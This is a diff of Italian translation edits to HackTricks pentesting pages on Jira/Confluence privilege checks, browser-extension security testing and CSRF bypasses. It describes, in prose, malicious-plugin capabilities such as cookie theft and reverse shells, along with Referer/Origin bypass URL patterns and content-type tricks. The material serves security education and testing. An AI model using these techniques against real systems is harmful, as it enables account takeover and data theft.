@@ -15,59 +15,59 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
+Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_è richiesta la conoscenza fluente della lingua polacca, scritta e parlata_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 ## Controlla i privilegi
 
-In Jira, **i privilegi possono essere controllati** da qualsiasi utente, autenticato o meno, attraverso gli endpoint `/rest/api/2/mypermissions` o `/rest/api/3/mypermissions`. Questi endpoint rivelano i privilegi attuali dell'utente. Una preoccupazione notevole sorge quando **gli utenti non autenticati detengono privilegi**, indicando una **vulnerabilità di sicurezza** che potrebbe potenzialmente essere idonea per un **bounty**. Allo stesso modo, **privilegi inaspettati per gli utenti autenticati** evidenziano anche una **vulnerabilità**.
+In Jira, **i privilegi possono essere controllati** da qualsiasi utente, autenticato o meno, attraverso gli endpoint `/rest/api/2/mypermissions` o `/rest/api/3/mypermissions`. Questi endpoint rivelano i privilegi attuali dell'utente. Una preoccupazione notevole sorge quando **gli utenti non autenticati detengono privilegi**, indicando una **vulnerabilità di sicurezza** che potrebbe potenzialmente essere idonea per un **bounty**. Allo stesso modo, **privilegi inaspettati per gli utenti autenticati** evidenziano anch'essi una **vulnerabilità**.
 
-Un'importante **aggiornamento** è stato effettuato il **1° febbraio 2019**, richiedendo all'endpoint 'mypermissions' di includere un **parametro 'permission'**. Questo requisito mira a **migliorare la sicurezza** specificando i privilegi richiesti: [controllalo qui](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
+Un'importante **aggiornamento** è stato effettuato il **1° febbraio 2019**, richiedendo che l'endpoint 'mypermissions' includesse un **parametro 'permission'**. Questo requisito mira a **migliorare la sicurezza** specificando i privilegi richiesti: [controllalo qui](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
 
 * ADD\_COMMENTS
-* ADMINISTRARE
-* ADMINISTRARE\_PROGETTI
-* UTENTE\_ASSEGNA
-* ASSEGNA\_ISSUE
-* BROWSE\_PROGETTI
-* CAMBIO\_MASSIVO
-* CHIUDI\_ISSUE
-* CREA\_ALLEGATI
-* CREA\_ISSUE
-* CREA\_PROGETTO
-* CREA\_OGGETTI\_CONDIVISI
-* ELIMINA\_TUTTI\_GLI\_ALLEGATI
-* ELIMINA\_TUTTI\_I\_COMMENTI
-* ELIMINA\_TUTTI\_I\_WORKLOG
-* ELIMINA\_ISSUE
-* ELIMINA\_PROPRI\_ALLEGATI
-* ELIMINA\_PROPRI\_COMMENTI
-* ELIMINA\_PROPRI\_WORKLOG
-* MODIFICA\_TUTTI\_I\_COMMENTI
-* MODIFICA\_TUTTI\_I\_WORKLOG
-* MODIFICA\_ISSUE
-* MODIFICA\_PROPRI\_COMMENTI
-* MODIFICA\_PROPRI\_WORKLOG
-* COLLEGA\_ISSUE
-* GESTISCI\_ISCRIZIONI\_FILTRI\_GRUPPO
-* GESTISCI\_PERMESSO\_SPRINT
-* GESTISCI\_GUARDIANI
-* MODIFICA\_RAPPRESENTANTE
-* MUOVI\_ISSUE
-* RISOLVI\_ISSUE
-* PROGRAMMA\_ISSUE
-* IMPOSTA\_SICUREZZA\_ISSUE
-* AMMINISTRATORE\_DI\_SYSTEM
-* TRANSIZIONE\_ISSUE
-* SELETTORE\_UTENTE
-* VISUALIZZA\_DATI\_AGGREGATI
-* VISUALIZZA\_STRUMENTI\_DEV
-* VISUALIZZA\_WORKFLOW\_DI\_SOLI\_LETTURA
-* VISUALIZZA\_VOTANTI\_E\_GUARDIANI
-* LAVORA\_SU\_ISSUE
+* ADMINISTER
+* ADMINISTER\_PROJECTS
+* ASSIGNABLE\_USER
+* ASSIGN\_ISSUES
+* BROWSE\_PROJECTS
+* BULK\_CHANGE
+* CLOSE\_ISSUES
+* CREATE\_ATTACHMENTS
+* CREATE\_ISSUES
+* CREATE\_PROJECT
+* CREATE\_SHARED\_OBJECTS
+* DELETE\_ALL\_ATTACHMENTS
+* DELETE\_ALL\_COMMENTS
+* DELETE\_ALL\_WORKLOGS
+* DELETE\_ISSUES
+* DELETE\_OWN\_ATTACHMENTS
+* DELETE\_OWN\_COMMENTS
+* DELETE\_OWN\_WORKLOGS
+* EDIT\_ALL\_COMMENTS
+* EDIT\_ALL\_WORKLOGS
+* EDIT\_ISSUES
+* EDIT\_OWN\_COMMENTS
+* EDIT\_OWN\_WORKLOGS
+* LINK\_ISSUES
+* MANAGE\_GROUP\_FILTER\_SUBSCRIPTIONS
+* MANAGE\_SPRINTS\_PERMISSION
+* MANAGE\_WATCHERS
+* MODIFY\_REPORTER
+* MOVE\_ISSUES
+* RESOLVE\_ISSUES
+* SCHEDULE\_ISSUES
+* SET\_ISSUE\_SECURITY
+* SYSTEM\_ADMIN
+* TRANSITION\_ISSUES
+* USER\_PICKER
+* VIEW\_AGGREGATED\_DATA
+* VIEW\_DEV\_TOOLS
+* VIEW\_READONLY\_WORKFLOW
+* VIEW\_VOTERS\_AND\_WATCHERS
+* WORK\_ON\_ISSUES
 
 Esempio: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
 ```bash
@@ -122,16 +122,16 @@ Una volta trovato un XSS, in [**questo repo github**](https://github.com/cyllect
 
 Queste sono alcune delle azioni che un plugin malevolo potrebbe eseguire:
 
-* **Nascondere i Plugin dagli Amministratori**: È possibile nascondere il plugin malevolo iniettando del javascript front-end.
-* **Esfiltrare Allegati e Pagine**: Permettere di accedere e esfiltrare tutti i dati.
-* **Furto di Token di Sessione**: Aggiungere un endpoint che restituirà gli header nella risposta (con il cookie) e del javascript che lo contatterà e esfiltrerà i cookie.
-* **Esecuzione di Comandi**: Ovviamente è possibile creare un plugin che eseguirà codice.
-* **Reverse Shell**: O ottenere una reverse shell.
+* **Nascondere i plugin agli amministratori**: È possibile nascondere il plugin malevolo iniettando del javascript front-end.
+* **Esfiltrare allegati e pagine**: Consentire di accedere e esfiltrare tutti i dati.
+* **Furto di token di sessione**: Aggiungere un endpoint che restituirà gli header nella risposta (con il cookie) e del javascript che lo contatterà e esfiltrerà i cookie.
+* **Esecuzione di comandi**: Ovviamente è possibile creare un plugin che eseguirà codice.
+* **Shell inversa**: O ottenere una shell inversa.
 * **Proxying DOM**: Se Confluence è all'interno di una rete privata, sarebbe possibile stabilire una connessione attraverso il browser di un utente con accesso e, ad esempio, contattare il server eseguendo comandi attraverso di esso.
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
+Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente di polacco scritto e parlato_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 

pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -21,9 +21,9 @@ Le estensioni del browser sono scritte in JavaScript e caricate dal browser in b
 
 ## Componenti principali
 
-I layout delle estensioni appaiono meglio quando visualizzati e consistono in tre componenti. Esaminiamo ciascun componente in dettaglio.
+I layout delle estensioni appaiono migliori quando visualizzati e consistono in tre componenti. Esaminiamo ciascun componente in dettaglio.
 
-<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
 
 ### **Script di contenuto**
 
@@ -33,14 +33,14 @@ Ogni script di contenuto ha accesso diretto al DOM di una **singola pagina web**
 
 Il core dell'estensione contiene la maggior parte dei privilegi/accessi dell'estensione, ma il core dell'estensione può interagire con i contenuti web solo tramite [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) e script di contenuto. Inoltre, il core dell'estensione non ha accesso diretto alla macchina host.
 
-### **Binary nativo**
+### **Binario nativo**
 
-L'estensione consente un binary nativo che può **accedere alla macchina host con i privilegi completi dell'utente.** Il binary nativo interagisce con il core dell'estensione tramite l'interfaccia di programmazione delle applicazioni standard Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizzata da Flash e altri plug-in del browser.
+L'estensione consente un binario nativo che può **accedere alla macchina host con i privilegi completi dell'utente.** Il binario nativo interagisce con il core dell'estensione tramite l'interfaccia di programmazione delle applicazioni standard Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizzata da Flash e altri plug-in del browser.
 
 ### Confini
 
 {% hint style="danger" %}
-Per ottenere i privilegi completi dell'utente, un attaccante deve convincere l'estensione a passare input dannosi dallo script di contenuto al core dell'estensione e dal core dell'estensione al binary nativo.
+Per ottenere i privilegi completi dell'utente, un attaccante deve convincere l'estensione a passare input dannosi dallo script di contenuto al core dell'estensione e dal core dell'estensione al binario nativo.
 {% endhint %}
 
 Ogni componente dell'estensione è separato dagli altri da **forti confini protettivi**. Ogni componente viene eseguito in un **processo di sistema operativo separato**. Gli script di contenuto e i core delle estensioni vengono eseguiti in **processi sandbox** non disponibili per la maggior parte dei servizi del sistema operativo.
@@ -130,7 +130,7 @@ Una volta visualizzati gli strumenti per sviluppatori, è necessario cliccare su
 ### Script di contenuto iniettati
 
 {% hint style="success" %}
-Nota che **gli script di contenuto non sono obbligatori** poiché è anche possibile **iniettare dinamicamente** script e **iniettarli programmaticamente** nelle pagine web tramite **`tabs.executeScript`**. Questo fornisce effettivamente più **controlli granulari**.
+Nota che **gli script di contenuto non sono obbligatori** poiché è anche possibile **iniettare dinamicamente** script e **iniettarli programmaticamente** nelle pagine web tramite **`tabs.executeScript`**. Questo fornisce effettivamente controlli più **granulari**.
 {% endhint %}
 
 Per l'iniezione programmatica di uno script di contenuto, l'estensione deve avere [permessi di host](https://developer.chrome.com/docs/extensions/reference/permissions) per la pagina in cui gli script devono essere iniettati. Questi permessi possono essere ottenuti sia **richiedendoli** all'interno del manifesto dell'estensione sia su base temporanea tramite [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
@@ -241,7 +241,7 @@ I messaggi inviati dagli script di contenuto vengono ricevuti dalla **pagina di
 
 * **Ruolo della Pagina di Background:** Funziona come il centro nevralgico per l'estensione, garantendo comunicazione e coordinamento tra le varie parti dell'estensione.
 * **Persistenza:** È un'entità sempre presente, invisibile all'utente ma fondamentale per la funzionalità dell'estensione.
-* **Generazione Automatica:** Se non definita esplicitamente, il browser creerà automaticamente una pagina di background. Questa pagina generata automaticamente includerà tutti gli script di background specificati nel manifesto dell'estensione, garantendo il funzionamento senza soluzione di continuità dei compiti di background dell'estensione.
+* **Generazione Automatica:** Se non definita esplicitamente, il browser creerà automaticamente una pagina di background. Questa pagina generata automaticamente includerà tutti gli script di background specificati nel manifesto dell'estensione, garantendo il funzionamento senza problemi delle attività di background dell'estensione.
 
 {% hint style="success" %}
 La comodità fornita dal browser nella generazione automatica di una pagina di background (quando non dichiarata esplicitamente) garantisce che tutti gli script di background necessari siano integrati e operativi, semplificando il processo di configurazione dell'estensione.
@@ -267,7 +267,7 @@ Per eseguire il debug dello script di background, puoi andare ai **dettagli dell
 
 Le estensioni del browser possono contenere vari tipi di pagine:
 
-* **Le pagine di azione** vengono visualizzate in un **menu a discesa quando si fa clic sull'icona dell'estensione**.
+* Le **pagine di azione** vengono visualizzate in un **menu a discesa quando si fa clic sull'icona dell'estensione**.
 * Pagine che l'estensione **caricherà in una nuova scheda**.
 * **Pagine delle opzioni**: Questa pagina viene visualizzata sopra l'estensione quando viene cliccata. Nel precedente manifest, nel mio caso, sono riuscito ad accedere a questa pagina in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` o cliccando:
 
@@ -375,18 +375,18 @@ Se una pagina web **vulnerabile a XSS o takeover** è indicata in **`externally_
 
 Pertanto, questo è un **bypass molto potente**.
 
-Inoltre, se il client installa un'estensione malevola, anche se non è autorizzata a comunicare con l'estensione vulnerabile, potrebbe iniettare **dati XSS in una pagina web consentita** o abusare delle API **`WebRequest`** o **`DeclarativeNetRequest`** per manipolare le richieste su un dominio mirato alterando la richiesta di una **file JavaScript**. (Nota che il CSP sulla pagina mirata potrebbe prevenire questi attacchi). Questa idea proviene [**da questo writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
+Inoltre, se il client installa un'estensione malevola, anche se non è autorizzata a comunicare con l'estensione vulnerabile, potrebbe iniettare **dati XSS in una pagina web consentita** o abusare delle API **`WebRequest`** o **`DeclarativeNetRequest`** per manipolare le richieste su un dominio mirato alterando la richiesta di una **pagina per un file JavaScript**. (Nota che il CSP sulla pagina mirata potrebbe prevenire questi attacchi). Questa idea proviene da [**questo writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
 {% endhint %}
 
 ## Riepilogo della comunicazione
 
 ### Estensione <--> WebApp
 
-Per comunicare tra lo script di contenuto e la pagina web, di solito si utilizzano messaggi post. Pertanto, nell'applicazione web troverai di solito chiamate alla funzione **`window.postMessage`** e nello script di contenuto listener come **`window.addEventListener`**. Nota però che l'estensione potrebbe anche **comunicare con l'applicazione web inviando un Post Message** (e quindi il web dovrebbe aspettarselo) o semplicemente far caricare al web un nuovo script.
+Per comunicare tra lo script di contenuto e la pagina web vengono solitamente utilizzati i messaggi post. Pertanto, nell'applicazione web troverai solitamente chiamate alla funzione **`window.postMessage`** e nello script di contenuto listener come **`window.addEventListener`**. Nota però che l'estensione potrebbe anche **comunicare con l'applicazione web inviando un Post Message** (e quindi il web dovrebbe aspettarselo) o semplicemente far caricare al web un nuovo script.
 
 ### All'interno dell'estensione
 
-Di solito la funzione **`chrome.runtime.sendMessage`** è utilizzata per inviare un messaggio all'interno dell'estensione (di solito gestito dallo script `background`) e per riceverlo e gestirlo viene dichiarato un listener chiamando **`chrome.runtime.onMessage.addListener`**.
+Di solito la funzione **`chrome.runtime.sendMessage`** viene utilizzata per inviare un messaggio all'interno dell'estensione (solitamente gestito dallo script `background`) e per riceverlo e gestirlo viene dichiarato un listener chiamando **`chrome.runtime.onMessage.addListener`**.
 
 È anche possibile utilizzare **`chrome.runtime.connect()`** per avere una connessione persistente invece di inviare messaggi singoli, è possibile utilizzarlo per **inviare** e **ricevere** **messaggi** come nel seguente esempio:
 
@@ -588,19 +588,19 @@ In [**questo post del blog**](https://spaceraccoon.dev/universal-code-execution-
 3. Lo script di background passa il messaggio all'applicazione nativa utilizzando `sendNativeMessage`.
 4. L'applicazione nativa gestisce il messaggio in modo pericoloso, portando all'esecuzione di codice.
 
-E all'interno di esso viene spiegato un esempio di **passare da qualsiasi pagina a RCE abusando di un'estensione del browser**.
+E all'interno di esso viene spiegato un esempio di **andare da qualsiasi pagina a RCE abusando di un'estensione del browser**.
 
 ## Informazioni Sensibili in Memoria/Codice/Clipboard
 
-Se un'estensione del browser memorizza **informazioni sensibili all'interno della sua memoria**, queste potrebbero essere **estratte** (soprattutto su macchine Windows) e **cercate** per queste informazioni.
+Se un'estensione del browser memorizza **informazioni sensibili all'interno della sua memoria**, queste potrebbero essere **dumpate** (soprattutto su macchine Windows) e **cercate** per queste informazioni.
 
 Pertanto, la memoria dell'estensione del browser **non dovrebbe essere considerata sicura** e **informazioni sensibili** come credenziali o frasi mnemoniche **non dovrebbero essere memorizzate**.
 
 Naturalmente, **non mettere informazioni sensibili nel codice**, poiché saranno **pubbliche**.
 
-Per estrarre la memoria dal browser, puoi **estrarre la memoria del processo** oppure andare alle **impostazioni** dell'estensione del browser cliccando su **`Ispeziona pop-up`** -> Nella sezione **`Memoria`** -> **`Prendi uno snapshot`** e **`CTRL+F`** per cercare all'interno dello snapshot informazioni sensibili.
+Per dumpare la memoria dal browser, puoi **dumpare la memoria del processo** o andare alle **impostazioni** dell'estensione del browser cliccando su **`Ispeziona pop-up`** -> Nella sezione **`Memoria`** -> **`Prendi uno snapshot`** e **`CTRL+F`** per cercare all'interno dello snapshot informazioni sensibili.
 
-Inoltre, informazioni altamente sensibili come chiavi mnemoniche o password **non dovrebbero poter essere copiate negli appunti** (o almeno rimuoverle dagli appunti dopo pochi secondi) perché i processi che monitorano gli appunti potrebbero ottenerle.
+Inoltre, informazioni altamente sensibili come chiavi mnemoniche o password **non dovrebbero essere consentite per essere copiate negli appunti** (o almeno rimuoverle dagli appunti in pochi secondi) perché poi i processi che monitorano gli appunti saranno in grado di ottenerle.
 
 ## Caricamento di un'Estensione nel Browser
 
@@ -614,7 +614,7 @@ In **Firefox** vai su **`about:debugging#/runtime/this-firefox`** e clicca sul p
 
 Il codice sorgente di un'estensione Chrome può essere ottenuto attraverso vari metodi. Di seguito sono fornite spiegazioni dettagliate e istruzioni per ciascuna opzione.
 
-### Scarica l'Estensione come ZIP tramite Linea di Comando
+### Scarica l'estensione come ZIP tramite linea di comando
 
 Il codice sorgente di un'estensione Chrome può essere scaricato come file ZIP utilizzando la linea di comando. Questo comporta l'uso di `curl` per recuperare il file ZIP da un URL specifico e poi estrarre il contenuto del file ZIP in una directory. Ecco i passaggi:
 
@@ -690,10 +690,10 @@ Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**,
 ### [**Tarnish**](https://thehackerblog.com/tarnish/)
 
 * Estrae qualsiasi estensione Chrome da un link fornito del Chrome webstore.
-* Visualizzatore di [**manifest.json**](https://developer.chrome.com/extensions/manifest): visualizza semplicemente una versione JSON formattata del manifesto dell'estensione.
+* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **visualizzatore**: visualizza semplicemente una versione JSON formattata del manifesto dell'estensione.
 * **Analisi del Fingerprint**: Rilevamento di [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) e generazione automatica di JavaScript per il fingerprinting delle estensioni Chrome.
 * **Analisi Potenziale di Clickjacking**: Rilevamento di pagine HTML dell'estensione con la direttiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) impostata. Queste sono potenzialmente vulnerabili al clickjacking a seconda dello scopo delle pagine.
-* Visualizzatore di **Avvisi di Permesso**: che mostra un elenco di tutti gli avvisi di richiesta di permesso di Chrome che verranno visualizzati quando un utente tenta di installare l'estensione.
+* **Visualizzatore di Avvisi sui Permessi**: che mostra un elenco di tutti gli avvisi di richiesta di permessi di Chrome che verranno visualizzati quando un utente tenta di installare l'estensione.
 * **Funzione(i) Pericolosa(e)**: mostra la posizione delle funzioni pericolose che potrebbero essere potenzialmente sfruttate da un attaccante (ad es. funzioni come innerHTML, chrome.tabs.executeScript).
 * **Punto(i) di Entrata**: mostra dove l'estensione riceve input da utenti/esterni. Questo è utile per comprendere l'area di superficie di un'estensione e cercare potenziali punti per inviare dati malevoli all'estensione.
 * Sia gli scanner di Funzione(i) Pericolosa(e) che di Punto(i) di Entrata hanno quanto segue per i loro avvisi generati:
@@ -703,18 +703,18 @@ Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**,
 * Il percorso del file avvisato.
 * L'URI completo dell'estensione Chrome del file avvisato.
 * Il tipo di file, come uno script di Pagina di Background, Content Script, Azione del Browser, ecc.
-* Se la riga vulnerabile è in un file JavaScript, i percorsi di tutte le pagine in cui è inclusa, così come il tipo di queste pagine e lo stato di [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources).
+* Se la riga vulnerabile è in un file JavaScript, i percorsi di tutte le pagine in cui è inclusa così come il tipo di queste pagine e lo stato di [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources).
 * **Analizzatore di Content Security Policy (CSP) e controllore di bypass**: Questo evidenzierà le debolezze nella CSP della tua estensione e illuminerà anche eventuali modi potenziali per bypassare la tua CSP a causa di CDN autorizzati, ecc.
 * **Librerie Vulnerabili Conosciute**: Questo utilizza [Retire.js](https://retirejs.github.io/retire.js/) per controllare l'uso di librerie JavaScript note come vulnerabili.
-* Scarica l'estensione e versioni formattate.
+* Scarica estensione e versioni formattate.
 * Scarica l'estensione originale.
-* Scarica una versione abbellita dell'estensione (HTML e JavaScript auto formattati).
+* Scarica una versione abbellita dell'estensione (HTML e JavaScript automaticamente formattati).
 * Caching automatico dei risultati della scansione, eseguire una scansione dell'estensione richiederà un buon tempo la prima volta che la esegui. Tuttavia, la seconda volta, assumendo che l'estensione non sia stata aggiornata, sarà quasi istantanea grazie ai risultati memorizzati nella cache.
 * URL di Report linkabili, facilmente collegabili a qualcun altro a un report di estensione generato da tarnish.
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
-Il progetto Neto è un pacchetto Python 3 concepito per analizzare e svelare funzionalità nascoste di plugin e estensioni del browser per browser ben noti come Firefox e Chrome. Automatizza il processo di estrazione dei file impacchettati per estrarre queste funzionalità da risorse pertinenti in un'estensione come `manifest.json`, cartelle di localizzazione o file sorgente Javascript e HTML.
+Il progetto Neto è un pacchetto Python 3 concepito per analizzare e svelare funzionalità nascoste dei plugin e delle estensioni del browser per browser ben noti come Firefox e Chrome. Automatizza il processo di estrazione dei file impacchettati per estrarre queste funzionalità da risorse pertinenti in un'estensione come `manifest.json`, cartelle di localizzazione o file sorgente Javascript e HTML.
 
 ## Riferimenti
 

pentesting-web/csrf-cross-site-request-forgery.md

@@ -1,8 +1,8 @@
 # CSRF (Cross Site Request Forgery)
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -39,14 +39,14 @@ Stay informed with the newest bug bounties launching and crucial platform update
 Per sfruttare una vulnerabilità CSRF, devono essere soddisfatte diverse condizioni:
 
 1. **Identificare un'azione preziosa**: L'attaccante deve trovare un'azione degna di sfruttamento, come cambiare la password dell'utente, l'email o elevare i privilegi.
-2. **Gestione della sessione**: La sessione dell'utente deve essere gestita esclusivamente tramite cookie o l'intestazione di autenticazione di base HTTP, poiché altre intestazioni non possono essere manipolate a questo scopo.
+2. **Gestione della sessione**: La sessione dell'utente deve essere gestita esclusivamente tramite cookie o l'intestazione di autenticazione HTTP Basic, poiché altre intestazioni non possono essere manipolate a questo scopo.
 3. **Assenza di parametri imprevedibili**: La richiesta non dovrebbe contenere parametri imprevedibili, poiché possono impedire l'attacco.
 
 ### Quick Check
 
 Puoi **catturare la richiesta in Burp** e controllare le protezioni CSRF e per testare dal browser puoi cliccare su **Copia come fetch** e controllare la richiesta:
 
-<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Defending Against CSRF
 
@@ -55,7 +55,7 @@ Possono essere implementate diverse contromisure per proteggere contro gli attac
 * [**SameSite cookies**](hacking-with-cookies/#samesite): Questo attributo impedisce al browser di inviare cookie insieme a richieste cross-site. [Maggiori informazioni sui cookie SameSite](hacking-with-cookies/#samesite).
 * [**Cross-origin resource sharing**](cors-bypass.md): La politica CORS del sito della vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede di leggere la risposta dal sito della vittima. [Scopri di più sul bypass CORS](cors-bypass.md).
 * **Verifica dell'utente**: Richiedere la password dell'utente o risolvere un captcha può confermare l'intento dell'utente.
-* **Controllo delle intestazioni Referrer o Origin**: Validare queste intestazioni può aiutare a garantire che le richieste provengano da fonti affidabili. Tuttavia, una creazione attenta degli URL può eludere controlli implementati male, come:
+* **Controllo degli header Referrer o Origin**: Validare questi header può aiutare a garantire che le richieste provengano da fonti affidabili. Tuttavia, una creazione attenta degli URL può eludere controlli mal implementati, come:
 * Utilizzare `http://mal.net?orig=http://example.com` (l'URL termina con l'URL fidato)
 * Utilizzare `http://example.com.mal.net` (l'URL inizia con l'URL fidato)
 * **Modifica dei nomi dei parametri**: Alterare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
@@ -97,9 +97,9 @@ Questo potrebbe funzionare anche inviando il **parametro \_method all'interno di
 
 ### Custom header token bypass
 
-Se la richiesta aggiunge un **intestazione personalizzata** con un **token** alla richiesta come **metodo di protezione CSRF**, allora:
+Se la richiesta aggiunge un **header personalizzato** con un **token** alla richiesta come **metodo di protezione CSRF**, allora:
 
-* Testa la richiesta senza il **Token Personalizzato e anche l'intestazione.**
+* Testa la richiesta senza il **Token Personalizzato e anche l'header.**
 * Testa la richiesta con esattamente **la stessa lunghezza ma un token diverso**.
 
 ### CSRF token is verified by a cookie
@@ -125,7 +125,7 @@ Di seguito è riportato un esempio di come potrebbe essere strutturato un attacc
 
 ```
 {% hint style="info" %}
-Nota che se il **token csrf è correlato con il cookie di sessione, questo attacco non funzionerà** perché dovrai impostare la sessione della vittima, e quindi stai attaccando te stesso.
+Nota che se il **token csrf è legato al cookie di sessione, questo attacco non funzionerà** perché dovrai impostare la sessione della vittima, e quindi stai attaccando te stesso.
 {% endhint %}
 
 ### Modifica del Content-Type
@@ -155,9 +155,9 @@ form.submit();
 
 Quando si tenta di inviare dati JSON tramite una richiesta POST, utilizzare `Content-Type: application/json` in un modulo HTML non è direttamente possibile. Allo stesso modo, utilizzare `XMLHttpRequest` per inviare questo tipo di contenuto avvia una richiesta preflight. Tuttavia, ci sono strategie per potenzialmente aggirare questa limitazione e verificare se il server elabora i dati JSON indipendentemente dal Content-Type:
 
-1. **Utilizzare Tipi di Contenuto Alternativi**: Impiegare `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` impostando `enctype="text/plain"` nel modulo. Questo approccio verifica se il backend utilizza i dati indipendentemente dal Content-Type.
-2. **Modificare il Tipo di Contenuto**: Per evitare una richiesta preflight garantendo che il server riconosca il contenuto come JSON, è possibile inviare i dati con `Content-Type: text/plain; application/json`. Questo non attiva una richiesta preflight ma potrebbe essere elaborato correttamente dal server se configurato per accettare `application/json`.
-3. **Utilizzo di File SWF Flash**: Un metodo meno comune ma fattibile prevede l'uso di un file SWF flash per aggirare tali restrizioni. Per una comprensione approfondita di questa tecnica, fare riferimento a [questo post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
+1. **Usa Tipi di Contenuto Alternativi**: Impiega `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` impostando `enctype="text/plain"` nel modulo. Questo approccio verifica se il backend utilizza i dati indipendentemente dal Content-Type.
+2. **Modifica il Tipo di Contenuto**: Per evitare una richiesta preflight garantendo che il server riconosca il contenuto come JSON, puoi inviare i dati con `Content-Type: text/plain; application/json`. Questo non attiva una richiesta preflight ma potrebbe essere elaborato correttamente dal server se è configurato per accettare `application/json`.
+3. **Utilizzo di File SWF Flash**: Un metodo meno comune ma fattibile prevede l'uso di un file SWF flash per aggirare tali restrizioni. Per una comprensione approfondita di questa tecnica, fai riferimento a [questo post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
 
 ### Bypassare il Controllo del Referrer / Origin
 
@@ -196,7 +196,7 @@ document.forms[0].submit();
 ```
 ### **Bypass del metodo HEAD**
 
-La prima parte di [**questo CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) spiega che [il codice sorgente di Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router, è impostato per **gestire le richieste HEAD come richieste GET** senza corpo di risposta - una soluzione comune che non è unica per Oak. Invece di un gestore specifico che si occupa delle richieste HEAD, vengono semplicemente **date al gestore GET ma l'app rimuove solo il corpo della risposta**.
+La prima parte di [**questo CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) spiega che [il codice sorgente di Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router, è impostato per **gestire le richieste HEAD come richieste GET** senza corpo di risposta - un comune workaround che non è unico per Oak. Invece di un gestore specifico che si occupa delle richieste HEAD, vengono semplicemente **date al gestore GET ma l'app rimuove solo il corpo della risposta**.
 
